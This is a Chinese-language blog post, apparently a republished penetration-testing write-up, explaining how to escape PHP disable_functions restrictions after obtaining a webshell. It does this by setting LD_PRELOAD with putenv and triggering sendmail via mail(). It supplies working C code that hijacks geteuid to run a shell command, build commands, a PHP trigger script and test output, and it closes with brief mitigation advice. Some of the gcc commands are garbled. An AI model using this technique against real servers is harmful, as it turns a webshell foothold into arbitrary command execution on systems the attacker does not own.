利用環境變數LD_PRELOAD來繞過php disable_function執行系統命令

首先聲明一下,這篇文章並非轉載,是我之前寫的。曾發表在烏雲drops,兩年過去了烏雲仍然無望回歸,最近我想在知乎這邊寫點東西,就把這篇以前的文章整理一下,重新發布在這裡。文章沒什麼技術可言,只當是做個資料記錄了,勿噴。

0X00 前言

在做滲透測試的時候如果遇到安全配置比較好的伺服器,當你通過各種途徑獲得一個php類型的webshell後,卻發現面對的是無法執行系統命令的尷尬,因為這類伺服器針對命令執行函數做了防範措施,後續的滲透行為都因此而止步。筆者這裡分享一個繞過思路,希望你能在實際測試中派上用場。

0X02 繞過思路

嚴苛環境下php設置的disablefunction如下:

dl

exec

system

passthru

popen

procopen

pcntlexec

shell
exec

如果你遇到的設置中漏掉某些函數,那再好不過了,直接利用漏掉的函數繞過。但如果運氣不太好,遇到這種所有能直接執行系統命令的函數都被禁用的情況,那真是欲哭無淚。想反彈一個cmdshell變成奢望。當然考慮到開發使用等影響因素,一般web環境不應完全禁用。

筆者經過大量資料搜尋,發現在這種情況下還有幾種執行系統命令的方法,例如通過/proc/self/mem 修改got來劫持庫函數調用以及php反序列化內存破壞漏洞利用,但這些方法利用起來難度都較大,你得先搞清楚內存偏移地址等等知識點,並搭建相同的平台進行調試。而且一般來說安全配置還會嚴格限制用戶的文件許可權並設置open_basedir,你根本沒有機會去讀取mem等文件,很難利用成功。

那麼還有沒有別的方法?putenv和mail函數給了我們希望,如果系統沒有修補bash漏洞,利用網上已經給出的poc:exploit-db.com/exploits 可以輕鬆繞過。

這個poc大體思路是通過putenv來設置一個包含自定義函數的環境變數,通過mail函數來觸發。為什麼mail函數能觸發,因為mail函數在執行過程中,php與系統命令執行函數有了交集,它調用了popen函數來執行,如果系統有bash漏洞,就直接觸發了惡意代碼的執行。但一般這種漏洞,安全意識好一點的運維,都會給打上補丁了。

那麼我們來繼續挖掘一下它的思路,php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的了。那麼我們有沒有辦法在webshell層來劫持它呢,環境變數LD_PRELOAD給我們提供了一種簡單實用的途徑。

0X03 LD_PRELOAD hack

在UNIX的動態鏈接庫的世界中,LD_PRELOAD是一個有趣的環境變數,它可以影響程序運行時的鏈接,它允許你定義在程序運行前優先載入的動態鏈接庫。如果你想進一步了解這些知識,可以去網上搜索相關文章,這裡不做過多解釋,直接來看一段常式,就能明白利用原理。

常式:verifypasswd.c

#include <stdio.h>#include <string.h>int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s <password>/n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}

程序很簡單,根據判斷傳入的字元串是否等於"password",得出兩種不同結果。 其中用到了標準C函數strcmp函數來做比較,這是一個外部調用函數,我們來重新編寫一個同名函數:

#include <stdio.h>#include <string.h>int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}

把它編譯為一個動態共享庫:

$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.so

通過LD_PRELOAD來設置它能被其他調用它的程序優先載入:

$ export LD_PRELOAD="./hack.so"$ ./verifypasswd abcd $ Correct Password!

我們看到隨意輸入字元串都會顯示密碼正確,這說明程序在運行時優先載入了我們自己編寫的程序。這也就是說如果程序在運行過程中調用了某個標準的動態鏈接庫的函數,那麼我們就有機會通過LD_PRELOAD來設置它優先載入我們自己編寫的程序,實現劫持。

0X04 實戰測試

那麼我們來看一下sendmail函數都調用了哪些庫函數,使用readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數:

[yiyang@bogon Desktop]$ readelf -Ws /usr/sbin/sendmailSymbol table .dynsym contains 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND pcre_fullinfo 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.2.5 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strcspn@GLIBC_2.2.5 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_toupper_loc@GLIBC_2.3 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __ctype_tolower_loc@GLIBC_2.3 (3) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getopt@GLIBC_2.2.5 (2) 10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.2.5 (2) 11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fork@GLIBC_2.2.5 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND db_version 13: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.2.5 (2) 14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strerror@GLIBC_2.2.5 (2) 15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.2.5 (2) 16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strchr@GLIBC_2.2.5 (2) 17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (2) 18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strspn@GLIBC_2.2.5 (2) 19: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (2) 20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)......

從中選取一個合適的庫函數後我們就可以進行測試了:

1.編製我們自己的動態鏈接程序。

2.通過putenv來設置LD_PRELOAD,讓我們的程序優先被調用。

3.在webshell上用mail函數發送一封郵件來觸發。

我們來測試刪除一個新建的文件,這裡我們選取geteuid()函數來改造,先在/tmp目錄新建一個文件命名為check。

編寫hack.c:(以下代碼為演示代碼,實際應用較複雜的命令時需要fork進程,github上很多例子,可以參考編寫。)

#include <stdlib.h>#include <stdio.h>#include <string.h> void payload() { system("rm /tmp/check");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}

當這個共享庫中的geteuid被調用時,嘗試載入payload()函數,執行命令。這個測試函數寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平台應和靶機平台相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關的動態共享庫:

$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so

再上傳到webshell上,然後寫一段簡單的php代碼:

<?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>

在瀏覽器中打開執行它,然後再去檢查新建的文件是否還存在,找不到文件則表示系統成功執行了刪除命令,也就意味著繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:

[yiyang@bogon Desktop]$ touch /tmp/check.txt[yiyang@bogon bin]$ ./php mail.phpsendmail: warning: the Postfix sendmail command has set-uid root file permissionssendmail: warning: or the command is run from a set-uid root processsendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissionssendmail: fatal: setgroups(1, &500): Operation not permitted[yiyang@bogon bin]$ cat /tmp/checkcat: /tmp/check: No such file or directory

普通用戶許可權,目標文件被刪除。

0X05 小結

以上方法在Linux RHEL6及自帶郵件服務+php5.3.X以下平台測試通過,精力有限未繼續在其他平台測試,新版本可能進行了相應修復。這種繞過行為其實也很容易防禦,禁用相關函數或者限制環境變數的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅局限於mail函數,你可以嘗試追蹤其他函數的調用過程,例如syslog等與系統層有交集的函數是否也有類似調用動態共享庫的行為來舉一反三。


推薦閱讀:

盤點物聯網網路和設備安全的五個誤解
網路安全 | kali linux系統
幾維安全分享2017上半年:2227起安全事件泄露60億條數據
解析「大安全」時代:網路安全超越網路本身
Kali Linux VMware安裝版小白級教程

TAG:網路安全 | Web安全測試 |